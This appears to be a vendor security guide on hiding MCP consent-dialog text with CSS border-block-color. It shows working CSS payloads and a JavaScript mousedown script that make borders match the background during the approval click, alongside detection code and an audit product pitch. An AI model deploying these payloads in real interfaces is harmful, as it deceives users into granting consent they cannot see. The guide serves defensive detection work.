Security Guide

MCP server CSS border-block-color security — background-matching block border color hiding, currentColor inheritance exploit, oklch near-white evasion, JS mousedown injection

The CSS border-block-color property sets the color of both block-axis borders (border-block-start-color and border-block-end-color) without modifying their width or style. This narrow scope — color only — creates a specific MCP attack pattern: an attacker first establishes a thick block border via border-block-width (which may appear in a separate, unrelated rule), then later injects border-block-color to make that border match the dialog background, rendering it invisible while preserving its layout effect. Security audits that check for suspicious border colors without also checking whether a non-zero border-width is already present will miss this compound attack.

CSS border-block-color — property overview

The border-block-color shorthand is equivalent to setting border-block-start-color and border-block-end-color to the same value simultaneously. It does not affect border-block-width or border-block-style. In the default writing-mode: horizontal-tb, the block axis is vertical, so border-block-color controls the top and bottom border colors. In writing-mode: vertical-rl or vertical-lr, it controls the left and right border colors. Accepted values include any CSS color value: named colors, hex, rgb(), hsl(), oklch(), currentColor, transparent, and system color keywords.

Related properties on this attack surface: border-block shorthand, border-block-width, border-inline-color.

Attack 1: background-matching border-block-color hiding a pre-set thick border

The most effective use of border-block-color as an attack vector is making an already-wide block border invisible by setting its color to match the dialog background. The border continues to consume layout height — collapsing the content area of the consent element — but is visually indistinguishable from the surrounding dialog surface. Security rules that check whether border-block-start-color or border-block-end-color match the background color will catch this, but rules that only check border color for obvious values (red, black) will not.

/* Stage 1: thick block border injected via a 'base style' rule — may look benign */
.consent-container {
  border-block-width: 80px;  /* width only — no color → defaults to currentColor → text color */
  border-block-style: solid;
}

/* Stage 2: color-matching injection via border-block-color only */
.consent-container {
  border-block-color: var(--dialog-surface, #f8f8f8) !important;
  /* Now the 80px top and bottom borders are invisible (match background)
     but the content area is still reduced by 160px total.
     A fixed-height consent container at 180px now has 20px of usable content. */
}

/* Box model:
   - clientHeight: 180px (border-box size unchanged → BCR check passes)
   - border-block-start: 80px solid #f8f8f8  ← invisible border
   - border-block-end:   80px solid #f8f8f8  ← invisible border
   - content height: 180 - 80 - 80 = 20px   ← consent text clipped to 20px
   - textContent: full string present        ← text check passes
   - visibility: visible                    ← visibility check passes

   Detection:
   - Compare border-block-start-color to getComputedStyle(ancestor).backgroundColor
   - Check whether clientHeight - borderBlockStartWidth - borderBlockEndWidth ≤ 40px */

Two-phase injection evades single-rule analysis. If border-block-width and border-block-color are set in separate CSS rules or separate injection events, a scanner that flags only rules containing both a suspicious width and a background-matching color will miss the compound attack. Each rule in isolation appears harmless: a wide border with default color is a style concern, not a security finding; a colored border with zero width does nothing.

Attack 2: currentColor inheritance — invisible border on light-background elements

The border-block-color: currentColor value (which is the CSS initial value for border colors) causes the border to adopt the element's computed color property. On a consent dialog where the consent text is white (color: white), a block border with currentColor is also white. If the dialog background is white or near-white, the border is visually invisible regardless of its width. An attacker can separately set a large border-block-width — using the explicit keyword currentColor looks identical to the browser default, passing any check that looks for suspicious color values.

/* Exploit: set white text color → currentColor becomes white → border invisible */
.consent-text {
  color: #ffffff !important;       /* white text on white background — text disappears */
  border-block-color: currentColor !important; /* = white border — also invisible */
  border-block-width: 60px !important;
  border-block-style: solid !important;
  /* Result: both text and border are white on white background.
     The element is non-zero size, non-hidden, textContent non-empty.
     User sees nothing. Approval button below is still visible. */
}

/* Detection:
   - Resolve currentColor: compare getComputedStyle(el).color to background color
   - If color === background and border-block-color === currentColor → flag
   - Check: parseFloat(cs.borderBlockStartWidth) > 0 AND
            cs.color === getComputedStyle(ancestor).backgroundColor */

currentColor looks like the default. Because the CSS spec initializes all border-color properties to currentColor, an explicit border-block-color: currentColor declaration is visually identical to no declaration at all. A scanner looking for injected color values may skip it — but if the element's color property has been separately set to match the background, the effect is a perfectly invisible border that still collapses content height.

Attack 3: wide-gamut oklch near-white — evading color string comparison

CSS Color Level 4 allows colors specified in the oklch() color space. A value like oklch(0.99 0.005 90) is perceptually near-white — so close that the human eye cannot distinguish it from #ffffff — but the computed style string returned by getComputedStyle(el).borderBlockStartColor will be a browser-serialized value in an output-gamut color space, not simply 'white' or 'rgb(255, 255, 255)'. Defenses that do simple string equality checks against known background color strings will not match an oklch near-white. The border appears invisible to users, the background-color comparison fails, and the attack goes undetected.

/* Wide-gamut near-white border block color */
.consent-container {
  border-block-color: oklch(0.985 0.004 95) !important;
  /* Perceptual lightness 98.5%, almost no chroma → renders as near-white */
  border-block-width: 70px !important;
  border-block-style: solid !important;
}

/* Defense failure:
   computed = getComputedStyle(el).borderBlockStartColor
   // = "color(display-p3 0.968 0.963 0.958)" or similar serialization
   // ≠ 'white', ≠ '#ffffff', ≠ 'rgb(255, 255, 255)'
   // String comparison fails → no alert

   Correct defense: parse the computed color into sRGB [r,g,b] floats
   and compare luminance to background luminance with a threshold:
   const deltaL = Math.abs(borderLuminance - bgLuminance);
   if (deltaL < 0.05 && borderWidth > 0) flag('near-background border'); */

Attack 4: JS mousedown injection of border-block-color — targeting the click moment

A consent dialog that renders with a thick but visibly colored block border can be exploited at the exact click moment: a mousedown listener changes border-block-color to match the dialog background, briefly making the border invisible during the approval press. At mouseup the color is reverted. The net effect is that the consent text is never hidden at page-load time (audits run at load), hidden only during the 50–200 ms of the click event, and then restored. This technique was first documented for text-decoration attacks; it applies identically to border-block-color.

/* Mousedown: switch border-block-color to background at click moment */
(function () {
  const CONSENT = '.consent-container, [data-mcp-consent]';
  const APPROVE = '.approve-btn, [data-action="allow"]';

  function hideBorder() {
    document.querySelectorAll(CONSENT).forEach(el => {
      const bg = getComputedStyle(
        el.closest('[class*="dialog"],[class*="modal"]') || el.parentElement
      ).backgroundColor;
      el.style.setProperty('border-block-color', bg, 'important');
    });
  }

  function showBorder() {
    document.querySelectorAll(CONSENT).forEach(el => {
      el.style.removeProperty('border-block-color');
    });
  }

  document.querySelectorAll(APPROVE).forEach(btn => {
    btn.addEventListener('mousedown', hideBorder, { passive: true });
    btn.addEventListener('mouseup',   showBorder,  { passive: true });
    btn.addEventListener('mouseleave',showBorder,  { passive: true });
  });
})();

The border width is already present at load time. The mousedown injection changes only the color. A security scanner that runs at page-load and checks both border-block-width and border-block-color will see a thick, visibly colored border — which may itself be flagged as suspicious if it collapses content area. The color attack merely makes the collapse harder for the user to notice visually. Both the static check (width) and the dynamic check (color at mousedown) are required for full coverage.

Detection summary

HIGH border-block-start-color or border-block-end-color matches computed backgroundColor of an ancestor (within luminance threshold 0.05) while border-block-*-width > 0 — invisible border collapsing content area.
HIGH border-block-color: currentColor and color matches background color — white-on-white invisible border pattern.
MEDIUM Wide-gamut oklch or color() border-block-color that resolves to near-background luminance — evades sRGB string comparison checks.
MEDIUM Mousedown event listener changes border-block-color style property of consent container at click time.
LOW Any non-zero border-block-start-width or border-block-end-width on a consent text element — warrants color inspection regardless of current color value.
/* Detection: luminance-aware border-block-color check */
function relativeLuminance(r, g, b) {
  const toLinear = c => c <= 0.03928 ? c / 12.92 : Math.pow((c + 0.055) / 1.055, 2.4);
  [r, g, b] = [r, g, b].map(c => toLinear(c / 255));
  return 0.2126 * r + 0.7152 * g + 0.0722 * b;
}

function parseRGB(color) {
  const m = color.match(/rgb\((\d+),\s*(\d+),\s*(\d+)\)/);
  return m ? [+m[1], +m[2], +m[3]] : null;
}

function checkBorderBlockColor(consentEl) {
  const cs   = getComputedStyle(consentEl);
  const bgs  = getComputedStyle(consentEl.closest('[class*="dialog"]') || document.body).backgroundColor;
  const bgRGB = parseRGB(bgs);
  const bgL   = bgRGB ? relativeLuminance(...bgRGB) : null;

  ['borderBlockStartColor','borderBlockEndColor'].forEach(prop => {
    const width = parseFloat(cs.getPropertyValue(
      prop.replace('Color','Width').replace(/([A-Z])/g, '-$1').toLowerCase()
    )) || 0;
    if (width === 0) return;

    const rgb = parseRGB(cs[prop]);
    if (!rgb) return; // wide-gamut: flag separately
    const borderL = relativeLuminance(...rgb);
    if (bgL !== null && Math.abs(borderL - bgL) < 0.05) {
      console.warn('[SA] Near-background border-block-color detected:', prop, cs[prop]);
    }
  });
}

SkillAudit audits CSS logical border color properties — including border-block-color, border-block-start-color, border-block-end-color, and their inline equivalents — using luminance-aware comparison against computed background colors. Simple string equality against 'white' or 'rgba(0,0,0,0)' misses wide-gamut near-white attacks. Run a free audit on your MCP server to check for block-border color evasion.